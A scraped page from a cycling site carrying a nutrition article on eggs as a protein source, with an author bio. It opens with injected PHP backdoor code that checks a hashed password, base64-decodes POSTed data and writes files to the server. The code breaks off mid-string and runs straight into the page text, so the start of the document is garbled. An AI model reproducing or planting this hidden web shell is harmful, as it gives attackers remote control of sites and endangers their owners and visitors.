function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" CapoVelo.com - The Benefits of Eggs for Protein
CapoVelo.com - - The Benefits of Eggs for Protein
6511
post-template-default,single,single-post,postid-6511,single-format-standard,no_animation

The Benefits of Eggs for Protein



It’s usual to think of eggs as a good source of protein – and they are. A small egg will provide 6g of good quality protein. This is found almost entirely in the egg white, while the yolk is a rich source of cholesterol, fat and vitamin E.  

 

Ask any school child and they will tell you that protein is needed for growth. Although your shoe size may not have changed for years, that doesn’t mean you’ve stopped growing. New skin, hair and nail cells are always being made – and this takes protein. Body cells are constantly being broken down and re-built.  

Exercise stimulates this process by increasing protein turnover, and in fact the net result, from your 50 to 100 miles in the saddle, is an overall loss of protein.

How much do you need?

Most active women need around 66 to 80g protein per day, men need 84 to 98g. Four small eggs, or two mouthfuls of chicken or 1 pint of semi-skimmed milk will provide almost 60g protein, so it’s not difficult to eat enough.  

But it is not protein so much that the body needs from food, as the smaller units – amino acids – from which proteins are constructed. There are 20 different amino acids which can be linked in a multitude of combinations to make hundreds of different proteins. All 20 must be present at the same time to make a protein though – if one is missing, there is no finished product.  

It’s like a bicycle manufacturer who wants to make 100 cycles. He needs 100 frames, 200 wheels and 200 pedals but if he only has 80 saddles, he can’t finish the job. The body can make 12 of the 20 amino acids but needs to get the other eight from foods – which is where eggs come in, as they contain all of the essential amino acids.

Another advantage of eggs is their high satiety value – the measure of a food’s ability to satisfy hunger – making the humble egg one of nature’s richest convenience foods. For instance, if you are heading out on a long cycle ride, it is important to eat enough quality carbohydrate foods before you set off and take carbohydrate snacks with you, as a top-up later on.

But a common reaction to high carbohydrate meals is light-headedness and hypoglycaemia. The solution is not to limit your intake of carbohydrates but rather to add in some protein. This takes longer to digest compared with most carbohydrates, so has the effect of helping you feel fuller for longer and to help prevent hypoglycaemia. So a couple of eggs as part of a high carbohydrate breakfast before a long ride is the perfect choice.

The cholesterol question

The only problem is that eating eggs is often frowned on because they are one of the richest sources of cholesterol – people will tell you that the chances of keeling over with a heart attack are greater than getting knocked off your bike! But fear not! For most healthy cyclists high cholesterol foods are a minor cause of raised blood cholesterol; saturated and processed (hydrogenated) fats are the real enemy.

These are around six times more likely to push up artery clogging cholesterol levels in your blood than eating cholesterol rich foods. However, if you do suffer from high blood cholesterol, diabetes, or have a family history of heart disease, it is important to restrict your cholesterol intake. The World Health Organisation recommends an upper limit of 300mg cholesterol per day (one medium egg yolk contains 200mg cholesterol).

The nutrient quality of eggs is, not surprisingly, affected by the quality of the diet fed to the laying hens. In parts of the world, such as the UK, the system of egg production from battery hens is now illegal. However, the new term for intensive production is ‘barn egg’.  

If you are concerned about animal welfare, give these a miss. The system allows the housing of thousands of birds in one room – with each bird allotted a space about the size of of a sheet of  paper.  

Under the UK Soil Association (SA) standards, the organic system recommends a flock size of 500 and the birds are free to roam outside. They are fed an organic diet and the routine use of antibiotics is prohibited.  

The Lion mark on some British eggs is a measure of food safety, rather than animal welfare. The mark simply shows the hens have been vaccinated against Salmonella. Seek out fresh, authentic free range (from a local farm where you can see the hens running about) or SA certified organic eggs – for their flavor as well as nutritional value.

About Chris Fenn

If you’re looking for a nutritionist to help you (and your team) achieve peak health and efficiency whatever you are doing then you’ve come to the right place. I’m Dr Chris Fenn and my aim is to reveal the truth behind the food we eat everyday: which foods give energy, and those that take it away. I can tell you what kind of diet will cause stress, and give you an eating plan that will help relieve it. In fact, whatever your goal I can tell you which foods will offer the optimum nutrition you need.

I can do this because I am an independent nutritionist. Much of the information on food and its effect on health is confusing because it is delivered by experts who are being paid by particular food companies to emphasise the benefits of consuming their products. The advice I deliver via seminars, workshops, talks and publications is based on 25 years of my own research, studies and experience.

My experience:

My work:

My adventures:

  • I have climbed Kilimanjaro, not once, but twice! Read more …
  • I cycled across the United States solo: that’s 3,500 miles from San Diego, California to St Augustine, Florida. Read more …
  • I cycled from Lands End to John O’Groats. Read more …

Get in touch

To find out what I can do for you, your company or your club give me a call on 01339 882487 or drop me an email.

http://chrisfenn.com


Leave a reply
Share on